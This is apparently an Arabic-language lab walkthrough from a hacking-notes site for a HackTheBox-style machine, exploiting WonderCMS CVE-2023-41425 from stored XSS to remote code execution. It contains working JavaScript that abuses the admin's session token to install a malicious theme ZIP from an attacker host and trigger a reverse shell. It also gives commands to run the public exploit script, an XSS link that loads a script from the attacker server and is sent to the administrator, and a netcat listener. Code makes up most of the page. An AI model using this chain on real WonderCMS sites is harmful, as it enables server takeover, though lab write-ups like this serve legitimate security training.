> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/wonder-cms-exploitation.md).

# Wonder

## عجائب الثغرات /\[CVE-2023-41425]

يُظهر البحث عن ثغرات نظام إدارة المحتوى (CMS) مشكلة من XSS إلى RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**كود JavaScript للحصول على شِلّ:**/ يقوم JavaScript التالي بتنزيل ملف ZIP خبيث يحتوي على سكربت شِلّ عكسي وتنفيذه على الخادم:

```javascript
// الخادم لديه مشكلة في حل اسم النطاق باستخدام JavaScript
// يمكننا ببساطة توفير رابط الهدف كمعلمة مطلوبة
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// تعديل مسار ملف ZIP المستضاف على خادم HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // زيارة rev.php داخل ملف ZIP المرفوع
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // تشغيل سكربت reverse shell وتحديد عنوان IP والمنفذ للمستمع
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**تثبيت سكربت الاستغلال لـ CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

شغّل سكربت الاستغلال:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

يرسل السكربت طلبًا إلى خادم المهاجم على المنفذ 8000 عبر `xss.js`، مما يوفّر تنفيذ أوامر عن بُعد (RCE) والتحكم في الهدف.

<figure><img src="/files/7c4d4c91379088abc9f2bf0fb7178bd10838f91f" alt=""><figcaption></figcaption></figure>

**الخطوة الأخيرة:**

أرسل رابط XSS إلى المدير عبر `contact.php` النموذج لتفعيل الرابط الخبيث:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

<figure><img src="/files/9447cb9e5e8fe34d476d9ee498382ff262dc314f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e0d0568b6e5bd683cedb42b12b2bfb634ad9eaa7" alt=""><figcaption></figcaption></figure>

**إعداد مستمع Netcat:**/ ابدأ مستمعًا على المنفذ 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/a91f28b9c117470297491b4a81fd4d5c281caa68" alt=""><figcaption></figcaption></figure>


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